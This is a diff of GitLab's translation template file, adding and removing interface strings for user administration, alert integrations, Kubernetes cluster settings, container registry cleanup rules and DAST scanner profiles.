-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
